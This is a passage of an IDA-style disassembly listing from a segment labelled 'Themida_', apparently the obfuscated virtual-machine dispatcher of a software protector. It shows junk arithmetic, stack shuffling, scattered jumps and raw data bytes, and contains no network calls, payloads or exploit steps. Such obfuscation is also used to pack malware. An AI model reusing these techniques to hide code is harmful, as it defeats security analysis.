		xor	esi, 15B964B3h
		jmp	loc_605845
; ---------------------------------------------------------------------------


loc_6073F1:				; CODE XREF: Themida_:0060373Cj
		xor	ebp, 1F2A15F5h
		xor	ebx, ebp
		jmp	loc_607259
; ---------------------------------------------------------------------------
		dw 535Eh
		dd offset dword_5EFAE0+9
		dd 4B900h, 0CB010000h, 963E9h, 81C30100h, 0DC6CEAEBh, 0E289522Bh
		dd 4C281h, 0EA810000h, 4, 5C241487h, 0FFF718E9h, 4BAFFh
		dd 0D7010000h, 6851525Ah, 0D800BB9h, 16B8E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_607446:				; CODE XREF: Themida_:0060F100j
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		mov	ecx, [esp]
		jmp	loc_603840
; ---------------------------------------------------------------------------
		dd 4C781h, 0C7810000h, 4, 5B31E9h, 48B6600h, 4EC8324h
		dd 0E9242C89h, 58BFh, 4244481h,	7E000289h, 0A46E9h, 6F21BE00h
		dd 70E911E9h, 30FFFFC6h, 0F5805AF5h, 60BCE9CAh,	4890000h
		dd 56E08924h, 4E0087BEh, 3C68134h, 8170BE78h, 0EC3E96EEh
		dd 4E6C132h, 64EE9h, 46800h, 81580000h,	0E26E08C6h, 65ABE932h
		dd 0F5680000h, 8900007Ch, 19BE2434h, 0E96D726Bh, 6739h
		dd 3BD5E9ACh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6074E6:				; CODE XREF: Themida_:00608CCEj
		xor	esi, edx
		jmp	loc_60DCAC
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 0B7h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6074F3:				; CODE XREF: Themida_:006034FDj
		mov	[esp], ebp
		push	esp
		jmp	loc_606C10
; ---------------------------------------------------------------------------
		dd 0A2E9F028h
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_607503:				; CODE XREF: Themida_:006088E9j
		dec	ebx
		neg	ebx
		neg	ebx
		push	ebp
		jmp	loc_60C38E
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48324h, 5C24048Fh,	0FFE678E9h, 89EE81FFh, 53037126h
		dd 278E9h, 5FFA0100h, 875AD521h, 783DE9DDh, 48F0000h, 24248B24h
		dd 7E4068h, 241C8900h, 121D68h,	5359E900h, 99050000h, 1419D19h
		dd 19992DF8h, 685F419Dh, 552Eh,	0FFF930E9h, 73EB68FFh
		dd 8F540000h, 4832404h,	348B0424h, 4C48124h, 50000000h
		dd 4B8h, 58C60100h, 2B850h, 0C6010000h,	8124048Bh, 4C4h
		dd 2F92E900h, 8B660000h, 6851240Ch, 1703h, 4801E9h, 8BC30100h
		dd 0C4812404h, 4, 6CF9E9h
		db 0
; ---------------------------------------------------------------------------


loc_6075B9:				; CODE XREF: Themida_:0060DFC8j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		movzx	ecx, ax
		push	3B97h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_60E8DD
; ---------------------------------------------------------------------------


loc_6075DF:				; CODE XREF: Themida_:0060A471j
		mov	[esp], ebx
		mov	ebx, 53175BCh
		mov	ebp, ebx
		pop	ebx
		push	edx
		mov	edx, 0FACE8A45h
		jmp	loc_606C31
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 24h
		dd 0BCDFE924h, 48FFFFFh, 24248B24h, 9C243CD2h, 37C0E9h
		dd 0E7ED8100h, 81354F15h, 0F49BFEEDh, 5DEB01A0h, 4B850h
		dd 68E90000h, 89FFFFD5h, 0A9BB241Ch, 13C1E6Eh, 34FF5BD8h
		dd 0C4815F24h, 4, 50685651h, 5E168B3Ch,	52BB68h, 242C8900h
		dd 62B3EBDh, 0C1D5F742h, 58E904EDh, 0F000031h, 34FFC0B6h
		dd 242C8187h, 34C10820h, 8124048Bh, 4ECh, 75E2E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_607676:				; CODE XREF: Themida_:00605F87j
		push	1FCEh
		mov	[esp], esi
		push	63E647Ah
		pop	esi
		push	esi
		push	esp
		pop	esi
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		push	esi
		push	5C9B7267h
		jmp	loc_607EED
; ---------------------------------------------------------------------------
		dd 31243C33h, 3C33243Ch, 24248B24h, 2C35EF81h, 0BA522DF6h
		dd 20487714h, 815AD701h, 0BA1FBDEFh, 31C78134h,	14E237Bh
		dd 613EE9CFh, 0CF800000h, 0BD53E955h, 0C481FFFFh, 4, 0FFC873E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6076E9:				; CODE XREF: Themida_:00605FA5j
		push	6B94h
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_60500A
; ---------------------------------------------------------------------------
		dd 3E50D59h, 17050D20h,	1C2DFB4h, 0C78158C7h, 4, 4EC81h
		dd 0E9E90000h, 8B000057h, 0F662424h, 5166C8AFh,	0BBB7E99Ch
		dd 0E951FFFFh, 58FAh, 0B9515F59h, 3F62084Ah, 0F7BAC181h
		dd 0CF01C09Dh, 0E9240C8Bh, 1AF0h
; ---------------------------------------------------------------------------


loc_607744:				; CODE XREF: Themida_:0060E78Fj
		mov	ch, 0B1h
		jmp	loc_603A70
; ---------------------------------------------------------------------------
		db 8Bh
		dd 87E92414h, 33FFFFE9h, 0C31240Ch, 240C3324h, 0FF24248Bh
		dd 34FF2434h, 89535824h, 4C381E3h, 83000000h, 1C8704C3h
		dd 0BA685C24h, 8900005Eh, 0E389241Ch, 0FFDA60E9h, 0E9C101FFh
		dd 51ADh
; ---------------------------------------------------------------------------


loc_60778C:				; CODE XREF: Themida_:00609E74j
		mov	ebx, 7AF0AD5h
		add	ebx, ebp
		pop	ebp
		add	ebx, 0BA1FEC81h
		and	ecx, ebx
		jmp	loc_606C29
; ---------------------------------------------------------------------------
		db 0BBh, 0BAh, 46h
		dd 0D3F746F5h, 0FFC155E9h, 241C31FFh, 5C241C33h, 4EC81h
		dd 3C890000h, 4EC8124h,	89000000h, 3C682414h, 8B40A83Dh
		dd 0C4812414h, 4, 7418B951h, 0E1814C9Fh, 64CD522Bh, 60DFE981h
		dd 0A2E90CB6h, 81FFFFDDh, 2F2245C3h, 0C1435A19h, 0BEE907E3h
		dd 0BE000059h, 2, 875EF301h, 0E95C241Ch, 2C2Eh
; ---------------------------------------------------------------------------


loc_60780C:				; CODE XREF: Themida_:0060E126j
		not	ecx
		push	eax
		mov	eax, 120110D0h
		push	ebx
		jmp	loc_604845
; ---------------------------------------------------------------------------
aVsiu		db 'VU',0
		align 10h


loc_607820:				; CODE XREF: Themida_:0060E078j
		push	7A1h
		mov	[esp], ebp
		mov	ebp, 66FF50C1h
		shl	ebp, 2
		push	ecx
		push	eax
		mov	eax, 2C0A2693h
		push	ebp
		mov	ebp, eax
		mov	ecx, ebp
		pop	ebp
		jmp	loc_60C922
; ---------------------------------------------------------------------------
		dw 875Eh
		dd 248B241Ch, 24040924h, 0BA8BE99Ch, 0CE21FFFFh, 24EE8159h
		dd 53185321h, 0FFEEA3E9h, 349A24FFh, 0CAECE922h, 3F2DFFFFh
		dd 52F2F09h, 0EB944DBDh, 8958C501h, 0C5E9386Ah,	0B9FFFFD4h
		dd 0FD576EEh, 8107E9C1h, 0B67ABC1h, 50D1F722h, 7A7C19B8h
		dd 58C1217Ch, 6DA7E181h, 0E9812E49h, 0C406BFDh,	0B7E9CE89h
		dd 5E000069h, 114BE9h, 0C8B6600h, 5F545724h, 0E66DE956h
		dd 0B85FFFFFh, 6D324812h, 81E9h, 0C8B6600h, 4EC8124h, 0E9000000h
		dd 116Bh
; ---------------------------------------------------------------------------


loc_6078D8:				; CODE XREF: Themida_:0060D4D4j
		push	ecx
		push	edi
		mov	edi, 815040Bh
		push	esi
		mov	esi, 63575C5Ah
		jmp	loc_60F2E3
; ---------------------------------------------------------------------------
		dw 0C101h
		dd 0FFCEBDE9h, 0E9E189FFh, 129Fh, 4EC81h, 63E90000h
		db 7Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_607903:				; CODE XREF: Themida_:00605E96j
		mov	ebp, 5EF1373Eh
		xor	ebp, ebx
		pop	ebx
		add	ebp, 4C097200h
		jmp	loc_609277
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 564DE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_607922:				; CODE XREF: Themida_:006053FAj
		mov	ebx, 5F9A1ADCh
		jmp	loc_60D590
; ---------------------------------------------------------------------------


loc_60792C:				; CODE XREF: Themida_:00608905j
		mov	[esp], eax
		mov	eax, 24h
		jmp	loc_60E138
; ---------------------------------------------------------------------------


loc_607939:				; CODE XREF: Themida_:006085FDj
		push	esi
		jmp	loc_604CF3
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8704E9h, 0F0ABE924h, 0D831FFFFh, 0FFDA3AE9h, 4C781FFh
		dd 81000000h, 4C7h, 0C240E900h,	1489FFFFh, 2FB35324h, 805BDA88h
		dd 0C28089C2h, 5AD48806h, 786E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_60797A:				; CODE XREF: Themida_:00604C40j
		mov	edi, esp
		jmp	loc_60DC5E
; ---------------------------------------------------------------------------


loc_607981:				; CODE XREF: Themida_:00606DC3j
		push	dword ptr [esp]
		jmp	loc_6038F4
; ---------------------------------------------------------------------------


loc_607989:				; CODE XREF: Themida_:00606739j
		mov	[esp], edi
		mov	edi, 5AC3A75h
		xor	[esp+4], edi
		jmp	loc_60E379
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 0CE494AA5h, 0C15DEE29h, 0EE8103E6h, 0B2C7888Ch, 815EF101h
		dd 2C1h, 74FF5100h, 8F590424h, 248B2404h, 242CD324h, 0B913E99Ch
		dd 74FFFFFFh, 8F5E0424h, 248B2404h, 48B6624h, 74986824h
		dd 1C890000h, 0A7E95424h
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6079E7:				; CODE XREF: Themida_:00604FCFj
		and	eax, edi
		jmp	loc_60B53A
; ---------------------------------------------------------------------------
		dw 0EB6h
		dd 88F08850h, 20F7E9C1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6079FA:				; CODE XREF: Themida_:00605EC9j
		pop	esp
		add	esp, 4


loc_6079FE:				; CODE XREF: Themida_:0060AA54j
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		sub	dword ptr [esp], 0F475FD3h
		jmp	loc_60ED1A
; ---------------------------------------------------------------------------
aPwps5w		db 'PWP5w',0
		align 2
		dw 564Bh
		dd 9C1E67BEh, 0EF32E930h, 0E95FFFFFh, 0FFFFE977h
; ---------------------------------------------------------------------------


loc_607A34:				; CODE XREF: Themida_:0060B1D3j
		add	esp, 4
		jmp	loc_60F2B5
; ---------------------------------------------------------------------------
		dd 4246C81h, 4E863C03h,	3B2DE9h, 5EF00100h, 0FFEC16E9h
		dd 0EE81ADFFh, 5006467Dh, 49B668h, 242C8900h, 0D71E1EBDh
		dd 5DEE2936h, 2DCCC681h, 0BA521F9Ah, 2E2C2CCAh,	29EFF281h
		dd 7EE96164h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_607A7F:				; CODE XREF: Themida_:0060576Aj
		sub	ecx, eax
		pop	eax
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_60339B
		push	dword ptr [edi+28h]
		push	edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0A385055h
		add	ebp, 63372631h
		jmp	loc_60B2F7
; ---------------------------------------------------------------------------
aZ4IS8		db '4$\<$8',0
		align 2


loc_607AB6:				; CODE XREF: Themida_:0060EB98j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_6059F2
; ---------------------------------------------------------------------------


loc_607AC9:				; CODE XREF: Themida_:00605669j
		add	edi, 4
		jmp	loc_60CAA4
; ---------------------------------------------------------------------------


loc_607AD1:				; CODE XREF: Themida_:0060C393j
		push	eax
		mov	eax, 4DDA3174h
		or	ebp, eax
		pop	eax
		xor	ebp, 617B3ACEh
		shl	ebp, 8
		dec	ebp
		push	ecx
		push	edi
		mov	edi, 0B4473FAh
		xor	edi, 52E10975h
		or	edi, 6E3B15B1h
		inc	edi
		and	edi, 33D04FDFh
		jmp	loc_603B40
; ---------------------------------------------------------------------------
		db 28h
		dd 1CE95AD0h, 81000062h, 0FC60C4C6h, 5EF001DDh,	4AE3E9h
		db 0
; ---------------------------------------------------------------------------


loc_607B19:				; CODE XREF: Themida_:00608EA5j
		pop	ebp
		add	eax, 9514E8AEh
		add	eax, ebx
		mov	ecx, [eax]
		pop	eax
		pop	ebx
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_603FC5
; ---------------------------------------------------------------------------


loc_607B30:				; CODE XREF: Themida_:0060F2E9j
		add	esi, 6EB1434h
		sub	esi, 0FFFFFFFFh
		sub	esi, 81784971h
		and	edi, esi
		jmp	loc_607083
; ---------------------------------------------------------------------------
		dw 46B7h
		dd 0FFC04EE9h, 0C48358FFh, 0DE0FE904h, 8B54FFFFh, 0C481241Ch
		dd 4, 631D68h, 240C8900h, 4B9h,	59CB0100h, 6994B850h, 700544A3h
		dd 0E9BB5C96h, 4D11h, 4C381h, 0EB830000h, 241C8704h, 8924248Bh
		dd 4BA2414h, 81000000h,	0A17AF1E9h, 96E9814Dh, 1025D12h
		dd 96C181D1h, 81025D12h, 0A17AF1C1h, 0C335A4Dh,	240C3124h
		dd 5C240C33h, 294FE9h, 0C3315B00h, 0FFD28CE9h, 0BFE950FFh
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_607BCF:				; CODE XREF: Themida_:00609201j
		pop	esp
		jmp	loc_6065E2
; ---------------------------------------------------------------------------


loc_607BD5:				; CODE XREF: Themida_:00603971j
		mov	edx, 407A793Eh
		jmp	loc_6085E0
; ---------------------------------------------------------------------------
		db 5Bh
		dd 78E9F000h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_607BE7:				; CODE XREF: Themida_:00608F3Cj
		add	esp, 4
		and	ebx, esi
		pop	esi
		or	ebx, ebx
		jnz	loc_60C2A8
		push	esi
		push	esp
		mov	esi, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	esi, 4
		jmp	loc_608C95
; ---------------------------------------------------------------------------


loc_607C1A:				; CODE XREF: Themida_:00608C98j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 20h
		add	ecx, 25C14FE8h
		sub	ecx, 2E994E9Bh
		add	ecx, edi
		add	ecx, 2E994E9Bh
		sub	ecx, 25C14FE8h
		jmp	loc_60453B
; ---------------------------------------------------------------------------
		db 5Ch,	53h, 50h
		dd 826F0FB8h, 0E9C3890Ah, 0FFFFE945h
; ---------------------------------------------------------------------------


loc_607C54:				; CODE XREF: Themida_:006097A3j
		shr	cl, 4
		push	bx
		mov	bh, 2
		xor	cl, bh
		pop	bx
		sub	dl, 58h
		jmp	loc_6080C2
; ---------------------------------------------------------------------------


loc_607C67:				; CODE XREF: Themida_:00606F7Fj
		and	ecx, edx
		push	dword ptr [esp]
		jmp	loc_60F30A
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aVtHn		db '$VT^h$',0
		dd 24148900h, 0FFD757E9h, 0ED815BFFh, 1321FDh, 56E9C501h
		dd 0E900005Ah, 0FFFFB645h, 0E5EB815Ch, 0E9F7F03Fh, 0FFFFBAFAh
		dd 74C58145h, 89F33006h, 27E95DE9h, 0B8000025h,	4, 0FFF3F2E9h
		dd 0FF5358FFh, 5B042474h, 8B24048Fh, 0B60F2424h, 585450C8h
		dd 4BB53h, 0D8010000h, 42D5Bh, 0E9500000h, 0FFFFC9A5h
		dd 4EC83ADh, 0BB241C89h, 4016396h, 446952Dh, 5D82946h
		dd 46044695h, 0BA52565Bh, 59A96388h, 8105EAC1h,	1B49E0F2h
		dd 0E9D68950h, 4701h, 242C8155h, 659B4F10h, 10C18159h
		dd 5D659B4Fh, 0FFFFE981h, 0C181FFFFh, 0E0F8B87Fh, 0ADEB81h
		dd 0CB291A8Ah, 715A68h,	240C8900h, 8A00ADB9h, 0C100E91Ah
		dd 8B66FFFFh, 0EC832404h, 24148904h, 382A68h, 42E95400h
		dd 8BFFFFBDh, 1662424h,	0E99C2404h, 0FFFFB571h,	0E943B652h
		dd 0CE5h, 241C8759h, 0FFCD88E9h, 4F50B8FFh, 0C501696Dh
		dd 0D9BCE958h, 0BE56FFFFh, 0A09301Bh, 0E95EF329h, 0B12h
; ---------------------------------------------------------------------------


loc_607D98:				; CODE XREF: Themida_:00607345j
		push	ecx
		push	esp
		jmp	loc_605EA9
; ---------------------------------------------------------------------------
		db 29h
		dd 63355EF0h, 89A8C921h, 0C69DE9C3h, 48FFFFFh, 3B665C24h
		dd 22E99CC8h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_607DBB:				; CODE XREF: Themida_:0060A50Bj
		pop	edx
		shr	eax, 0Ch
		xor	eax, ecx
		jmp	loc_60E24B
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 2434FF3Ch, 582434FFh, 4EC81h, 4890000h, 6C5CE924h, 0A5F30000h
		dd 68386203h, 43A8h, 56242C89h,	0BE25E068h, 6E5CE913h
		dd 0C3290000h, 69C0BD55h, 0EB010B2Ch, 52C3815Dh, 685DB53Ch
		dd 1346h, 0BA241489h, 2Ch, 1310E9h, 814A5800h, 0F167CBEAh
		dd 9F28120h, 5B34618h, 18C577FEh, 0FE2DD001h, 8B18C577h
		dd 0C4832414h, 24048704h, 0CEAE9h, 13E95800h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_607E47:				; CODE XREF: Themida_:0060D726j
		not	edi
		xor	edi, 356DE348h
		jmp	loc_603731
; ---------------------------------------------------------------------------
		dd 0BA38E953h, 0EE81FFFFh, 48B63C50h, 214CC281h, 2EE91A53h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_607E6B:				; CODE XREF: Themida_:0060A51Dj
		mov	edi, 6CCE62F3h
		or	ebp, edi
		jmp	loc_609265
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 74FF5200h, 8F5A0424h, 95C2404h, 34FF1C4Fh, 89565924h
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 5B98E95Ch, 59580000h
		dd 3AB76866h, 240C8966h, 5CBE9h, 40500h, 4050000h, 0E9000000h
		dd 0FFFFF24Bh, 31240C33h, 8E9240Ch, 1FFFFCAh, 81042454h
		dd 8904246Ch, 0E97E0002h, 524Bh, 6FAFF381h, 43433935h
		dd 0FFFB35E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_607EED:				; CODE XREF: Themida_:006076A3j
		pop	esi
		add	esi, 22AAA8CFh
		mov	edi, esi
		jmp	loc_608847
; ---------------------------------------------------------------------------
		db 81h
		dd 1C5h, 1300E900h, 0C6810000h,	4, 51E8E9h, 0C4815B00h
		dd 4, 803ACE80h, 0C3808BF6h, 0EBD1E998h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_607F26:				; CODE XREF: Themida_:0060AC34j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_6042D2
; ---------------------------------------------------------------------------
		dd 0BD55E389h, 4, 2F3EEB81h, 0EB01464Ah, 2F3EC381h, 815D464Ah
		dd 4C3h, 36A5E900h, 68660000h, 89661654h, 6850240Ch, 1828h
		dd 0B7241C89h, 0A4C78023h, 1C8BF888h, 4C48124h,	0F6000000h
		dd 33DAE9D0h, 9FB00000h, 0CEE9D0F6h, 89FFFFF8h,	0C464E9E3h
		dd 8B66FFFFh, 0E950240Ch, 0FFFFD808h, 4997E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_607FAA:				; CODE XREF: Themida_:0060CEFBj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 7330A7A1h
		push	esi
		mov	esi, 48F006A2h
		add	esi, 0E5DB036Ah
		sub	eax, esi
		pop	esi
		add	eax, 2216473Eh
		sub	eax, ebp
		sub	eax, 2216473Eh
		push	ecx
		mov	ecx, 59B72D8Ah
		jmp	loc_60B3EC
; ---------------------------------------------------------------------------


loc_607FF0:				; CODE XREF: Themida_:00604FC7j
		pop	ax
		push	cx
		jmp	loc_60D5A9
; ---------------------------------------------------------------------------
		db 0BFh, 1Ah, 6Dh
aPss		db 'p',9,0
		dw 8100h
		dd 4C4h, 7581E900h, 0EE810000h,	1BBF2423h, 0FFC56FE9h
		dd 15BE56FFh, 2933CC9Ch, 0AC055EF1h, 10E0310h, 10AC2DC8h
		dd 55590E03h, 4017F0BDh, 34B8E94Eh, 77FF0000h, 0B29BE92Ch
		dd 0E95CFFFFh, 0FFFFE47Fh, 55EF029h, 1F2D30B2h,	95426B05h
		dd 2DD8010Dh, 0D95426Bh, 30B2B951h, 0F2E91F2Dh,	43FFFFD9h
		dd 1EBCEB81h, 0C3812A5Ch, 0E07AC83h, 815BD801h,	634596C6h
		dd 81C60148h, 634596EEh, 0C6835848h, 24348702h,	66E9F65Ch
		dd 51CCB60Fh, 0C181E189h, 4, 0FFC8C6E9h, 0B237E9FFh, 0E953FFFFh
		dd 0FFFFE9B0h
; ---------------------------------------------------------------------------


loc_6080AC:				; CODE XREF: Themida_:00605852j
		xor	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edi
		push	edx
		jmp	loc_60B7E0
; ---------------------------------------------------------------------------


loc_6080C2:				; CODE XREF: Themida_:00607C62j
		sub	dl, cl
		add	dl, 58h
		pop	ecx
		xor	dl, 78h
		mov	bl, dl
		pop	edx
		add	al, bl
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h
		dd 0BD55ADC3h, 674C691Eh, 0C5814D4Dh, 0F673F6D0h, 0FFBE6FE9h
		dd 240C33FFh, 0E9240C31h, 5B1h,	0ED80FDB5h, 0A5CD80A0h
		dd 0E99BB652h, 0FFFFF383h, 0C8B60F66h, 0E99C5166h, 0FFFFB1C1h
		dd 5AA4F581h, 13051ADDh, 12AD013h, 0DE955E8h, 8100002Ch
		dd 4ECh, 24048900h, 67C268h, 240C8900h,	3CD4E9h, 4C48100h
		dd 81000000h, 100191EEh, 0BCA1E90Eh, 0C33FFFFh,	240C3124h
		dd 0FFBEE0E9h, 240C89FFh, 40B9h, 4EC8100h, 89000000h, 0C5BE2434h
		dd 532CE35Ch, 27A831BBh, 40C3E9D4h, 0E9460000h,	2AD3h
; ---------------------------------------------------------------------------


loc_608188:				; CODE XREF: Themida_:00604136j
		neg	ecx
		jmp	loc_60B73E
; ---------------------------------------------------------------------------
		db 88h
		dd 0E9FA88E7h, 0FFFFE320h, 2DE2815Ah, 816A767Ch, 4ECh
		dd 243C8900h, 5998E9h, 2434FF00h, 0D09E9h, 0E9DD0000h
		dd 222Eh
; ---------------------------------------------------------------------------


loc_6081BC:				; CODE XREF: Themida_:0060714Fj
		mov	edx, esp
		add	edx, 4
		jmp	loc_60D9D8
; ---------------------------------------------------------------------------


loc_6081C9:				; CODE XREF: Themida_:0060B79Bj
		shl	edx, 1
		push	1B9Ch
		jmp	loc_60928B
; ---------------------------------------------------------------------------
		db 25h,	0D7h, 6Bh
		dd 0BE56672Eh, 1CC1263h, 6E97BB53h, 0DE2153E4h,	699E95Bh
		dd 74680000h, 5F42E045h, 0FFEFE7E9h, 2474FFFFh,	0D9FFE904h
		dd 0F75BFFFFh, 0BCEB81DBh, 89D570ACh, 0E5C15BDDh, 0AC3E906h
		dd 4200000h, 0BEE99C24h, 2DFFFFB0h, 2A47EF6Ch, 0DEE9C329h
		dd 0FF000051h, 0E95D2434h, 256Eh, 24048F66h, 0FFB0A0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60823D:				; CODE XREF: Themida_:0060BE67j
		xor	esi, 6B0C07DBh
		not	esi
		inc	esi
		shl	esi, 2
		shr	esi, 2
		shr	esi, 1
		sub	esi, 0F20B53BDh
		add	ecx, 49E10827h
		add	ecx, esi
		sub	ecx, 49E10827h
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		mov	ebp, 5FB2250Ch
		dec	ebp
		dec	ebp
		neg	ebp
		jmp	loc_609C6A
; ---------------------------------------------------------------------------


loc_608278:				; CODE XREF: Themida_:0060DB1Ej
		or	esi, 517F1CD3h
		add	esi, 8E008029h
		jmp	loc_6093DE
; ---------------------------------------------------------------------------


loc_608289:				; CODE XREF: Themida_:00603EE7j
		shl	eax, cl
		push	3889h
		mov	[esp], esi
		push	1273h
		jmp	loc_60E11E
; ---------------------------------------------------------------------------
		db 87h,	0CAh, 0F7h
		dd 81CA87D1h, 73892AC2h, 485E9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6082AE:				; CODE XREF: Themida_:006057EAj
		mov	eax, 18445C11h
		mov	edx, eax
		pop	eax
		not	edx
		xor	edx, 42AE0320h
		xor	edx, ecx
		xor	ecx, edx
		xor	edx, ecx
		push	468Bh
		mov	[esp], ecx
		not	dword ptr [esp]
		pop	ecx
		xor	edx, ecx
		jmp	loc_609015
; ---------------------------------------------------------------------------
		db 28h
		dd 2434FFC8h, 0EFE7E959h, 0FF5AFFFFh, 68592434h, 476Ch
		dd 54243C89h, 0FFCC6FE9h, 7CC380FFh, 0FFE871E9h, 5168ACFFh
		dd 8900007Ah, 5B62414h,	20A4B050h, 0EAF2E9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_608312:				; CODE XREF: Themida_:0060BED2j
		or	ebx, 1B502CA3h
		jmp	loc_608A9D
; ---------------------------------------------------------------------------
		db 50h,	54h, 58h
		dd offset dword_4BC2EC+4BFDh
		dd 48B6600h, 0AEE95624h, 8F000070h, 4832404h, 0E9580424h
		dd 0FFFFBCF9h, 0A8BA5255h, 0E93CE208h, 59A8h, 0C125D0F7h
		dd 250B4C35h, 241E0477h, 0EC222505h, 0E9C2017Ah, 0FFFFDCAEh
		dd 25B25266h, 5A66D130h, 2895F180h, 0E547E9C8h,	433FFFFh
		dd 24248B24h, 4C481h, 0BB530000h, 35042CA1h, 11DAE956h
		dd 89660000h, 0E951243Ch, 6973h, 4C481h, 51E90000h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60839F:				; CODE XREF: Themida_:0060EFE1j
		mov	ecx, 0AE677FEh
		sub	ecx, 1
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		push	1A5E3B5Eh
		pop	edi
		sub	edi, 4C5D06EAh
		inc	edi
		neg	edi
		jmp	loc_60C998
; ---------------------------------------------------------------------------
		dd 9C240421h, 0FFAF0CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6083D1:				; CODE XREF: Themida_:00605E03j
		push	eax
		jmp	loc_6093EE
; ---------------------------------------------------------------------------
		db 50h
		dd 5475A4B8h, 58C12125h, 2DAFB850h, 9AE97BA3h, 0FFFFF3h
		dd 0D00059CAh, 8124148Bh, 4C4h,	33A2E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6083FE:				; CODE XREF: Themida_:0060603Fj
		push	dword ptr [esp+4]
		jmp	loc_60C768
; ---------------------------------------------------------------------------
		db 0BEh
		dd 7E1447E4h, 67E5E681h, 0EE81044Eh, 40447E0h, 23E9F301h
		dd 89FFFFF4h, 39E957E5h, 89FFFFD3h, 4994E9E1h, 6A290000h
		dd 5325E930h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_608436:				; CODE XREF: Themida_:0060707Ej
		sub	esi, edi
		add	esi, 517D223Ch
		pop	edi
		jmp	loc_60D032
; ---------------------------------------------------------------------------
		dd 0B4506651h, 66E1887Ch, 0EBEB8058h, 0C380CB28h, 0EC8159EBh
		dd 4, 0B0240489h, 0E98F0453h, 17B6h
; ---------------------------------------------------------------------------


loc_608468:				; CODE XREF: Themida_:006053C5j
		push	esi
		push	1F4F2F73h
		pop	esi
		and	esi, 21EB124Ch
		push	edi
		mov	edi, 795D2E73h
		jmp	loc_60D192
; ---------------------------------------------------------------------------
		dd 0CE004EB1h, 0E2685966h, 89000034h, 41B1240Ch, 0E180C9FEh
		dd 1E9804Fh, 3094E9h, 81E38900h, 4C3h, 4C38100h, 87000000h
		dd 685C241Ch, 0CC3h, 0FF243489h, 0E95F2434h, 0FFFFC233h
		dd 4240481h, 59000000h,	4C181h,	0C1830000h, 3260E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6084D6:				; CODE XREF: Themida_:0060A8E6j
		sub	esp, 4
		mov	[esp], edi
		push	0FFFFh
		pop	edi
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		jmp	loc_604A08
; ---------------------------------------------------------------------------
		db 66h,	5Ah, 52h
		dd 0E9D7B050h, 0FFFFEFE5h
; ---------------------------------------------------------------------------


loc_608508:				; CODE XREF: Themida_:0060C877j
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
